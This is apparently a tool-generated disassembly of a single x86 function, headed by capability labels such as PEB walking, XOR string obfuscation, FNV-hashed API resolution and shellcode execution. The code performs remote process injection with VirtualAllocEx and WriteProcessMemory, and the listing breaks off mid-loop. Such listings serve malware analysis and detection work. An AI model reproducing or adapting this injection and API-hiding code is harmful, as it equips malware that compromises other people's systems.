Function at 0x4318a0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49e7dd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xa8
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb4], edx
mov edi, ecx
mov dword [ebp - 0x38], edi
push 4
push 0x3000
push 0x21200
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x431b13
movups xmm0, xmmword [0x4b0c28]
movups xmmword [ebp - 0x94], xmm0
movups xmm0, xmmword [0x4b0c38]
movups xmmword [ebp - 0x84], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x431a91
xor edx, edx
cmp dword [0x5067b8], 2
mov dword [ebp - 0x30], edx
jl 0x431a60
movaps xmm0, xmmword [0x4b0e50]
xor ecx, ecx
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov edx, dword [ebp - 0x70]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x94]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x94], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x90]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x90], xmm2
add ecx, 8
cmp ecx, 0x20
jl 0x431973
jmp 0x431a91
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x94], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x20
jl 0x431a60
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431ab0
sub ecx, edx
lea eax, [ebp - 0x94]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0
call fcn.00430690
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x431b0c
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431b02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433095
push ecx
push edx
call fcn.004431bb
add esp, 8
xor al, al
jmp 0x433279
mov esi, dword [0x4b84c4]
push 0x40
push 0x3000
mov dword [ebp - 0x3c], esi
push dword [esi + 0x4b84d8]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x48], eax
test eax, eax
jne 0x431e92
movups xmm0, xmmword [0x4b0ad0]
xor edx, edx
cmp dword [0x5067b8], 2
mov dword [ebp - 0x30], edx
movups xmmword [ebp - 0xac], xmm0
movups xmm0, xmmword [0x4b0ae0]
movups xmmword [ebp - 0x9c], xmm0
movups xmm0, xmmword [0x4b0af0]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [0x4b0b00]
movq qword [ebp - 0x7c], xmm0
jl 0x431ca0
movaps xmm0, xmmword [0x4b0e50]
xor ecx, ecx
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov edx, dword [ebp - 0x70]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0xac]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0xac], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0xa8]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0xa8], xmm2
add ecx, 8
cmp ecx, 0x38
jl 0x431bb2
jmp 0x431cd1
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xac], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x38
jl 0x431ca0
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431cf0
sub ecx, edx
lea eax, [ebp - 0xac]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 1
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x431d53
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431d49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433095
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x431dc7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x431dc7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0xaf0511a2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x431dbd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x431da0
cmp esi, 0x873c75e7
je 0x431dcb
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x431d85
mov eax, dword [eax]
jmp 0x431d60
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push 0x4b8488
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x431e67
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x431e67
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0xbb730376
mov cl, byte [edx]
inc edx
test cl, cl
je 0x431e5d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x431e40
cmp esi, 0x52d8428c
je 0x431e6b
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x431e25
mov eax, dword [eax]
jmp 0x431e00
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x38]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
jmp 0x433279
push 0
push dword [esi + 0x4b84dc]
push 0x4b8488
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4322b2
movups xmm0, xmmword [0x4b0884]
mov eax, dword [0x4b08b4]
xor edx, edx
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x7c], eax
movups xmm0, xmmword [0x4b0894]
mov ax, word [0x4b08b8]
mov word [ebp - 0x78], ax
mov al, byte [0x4b08ba]
movups xmmword [ebp - 0x9c], xmm0
mov byte [ebp - 0x76], al
movups xmm0, xmmword [0x4b08a4]
mov dword [ebp - 0x30], edx
movups xmmword [ebp - 0x8c], xmm0
jl 0x432020
movaps xmm0, xmmword [0x4b0e50]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov ecx, dword [ebp - 0x70]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xac]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0xac], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xa8]
xorps xmm2, xmm0
movd dword [ebp + edx - 0xa8], xmm2
add edx, 8
cmp edx, 0x30
jl 0x431f30
mov dword [ebp - 0x30], edx
cmp edx, 0x37
jge 0x432051
nop dword [eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xac], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x37
jl 0x432020
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432070
sub ecx, edx
lea eax, [ebp - 0xac]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 2
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x4320d3
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4320c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433095
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x432147
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x432147
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x59fae7d1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43213d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432120
cmp esi, 0x85f5a3b
je 0x43214b
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432105
mov eax, dword [eax]
jmp 0x4320e0
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x48]
push dword [ebp - 0x38]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x30], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3c], ecx
cmp ecx, esi
je 0x4321e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4321e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x34], ecx
dec edi
mov esi, 0x46d4ab41
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4321dd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4321c0
cmp esi, 0x9d2cfbce
je 0x4321eb
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4321a6
mov eax, dword [eax]
jmp 0x432181
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push 0x4b8488
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x30], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3c], ecx
cmp ecx, esi
je 0x432287
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x432287
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x34], ecx
dec edi
mov esi, 0xa217ab45
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43227d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432260
cmp esi, 0xa22184e5
je 0x43228b
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432245
mov eax, dword [eax]
jmp 0x432220
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
push dword [ebp - 0x38]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
jmp 0x433279
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x4b848e]
jae 0x4322f4
lea esi, [esi + 0x4b8594]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x4b8488
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x48]
push eax
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x3c]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 0x4b848e]
cmp edi, eax
jb 0x4322c5
push 0x40
push 0x3000
push 0x1000
push 0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x43264f
movups xmm0, xmmword [0x4b09bc]
xor edx, edx
cmp dword [0x5067b8], 2
mov dword [ebp - 0x30], edx
movups xmmword [ebp - 0xac], xmm0
movups xmm0, xmmword [0x4b09cc]
movups xmmword [ebp - 0x9c], xmm0
movups xmm0, xmmword [0x4b09dc]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [0x4b09ec]
movq qword [ebp - 0x7c], xmm0
jl 0x432480
movaps xmm0, xmmword [0x4b0e50]
xor ecx, ecx
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov edx, dword [ebp - 0x70]
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0xac]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0xac], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0xa8]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0xa8], xmm2
add ecx, 8
cmp ecx, 0x38
jl 0x432390
jmp 0x4324b1
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xac], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x38
jl 0x432480
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4324d0
sub ecx, edx
lea eax, [ebp - 0xac]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 3
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x432533
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432529
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433095
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x30], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3c], ecx
cmp ecx, esi
je 0x4325a7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4325a7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x34], ecx
dec edi
mov esi, 0xc38305b9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43259d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432580
cmp esi, 0x3fe91223
je 0x4325ab
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432565
mov eax, dword [eax]
jmp 0x432540
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x48]
push dword [ebp - 0x38]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x30], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3c], ecx
cmp ecx, esi
je 0x43264b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43264b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x34], ecx
dec edi
mov esi, 0xddf34c2e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x432641
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432620
cmp esi, 0x48518fe4
je 0x43228b
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432606
mov eax, dword [eax]
jmp 0x4325e1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x44], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4326c7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4326c7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x34], ecx
dec edi
mov esi, 0x1fbdd08b
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4326bd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4326a0
cmp esi, 0xf9366408
je 0x4326cb
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432685
mov eax, dword [eax]
jmp 0x432660
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
push 0x18
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x2c]
add eax, edx
push ecx
call eax
mov edx, dword [ebp - 0x48]
add esp, 0xc
mov ecx, dword [ebp - 0x3c]
mov eax, dword [0x4b84c4]
add eax, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
mov eax, dword [ecx + 0x4b8528]
add eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + 0x4b8508]
add eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x432ab2
movups xmm0, xmmword [0x4b08bc]
mov eax, dword [0x4b08e4]
xor edx, edx
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x7c], eax
movups xmm0, xmmword [0x4b08cc]
mov ax, word [0x4b08e8]
mov word [ebp - 0x78], ax
mov al, byte [0x4b08ea]
movups xmmword [ebp - 0x94], xmm0
mov byte [ebp - 0x76], al
movq xmm0, qword [0x4b08dc]
movq qword [ebp - 0x84], xmm0
mov dword [ebp - 0x30], edx
jl 0x4328c0
movaps xmm0, xmmword [0x4b0e50]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov ecx, dword [ebp - 0x70]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xa4]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0xa4], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
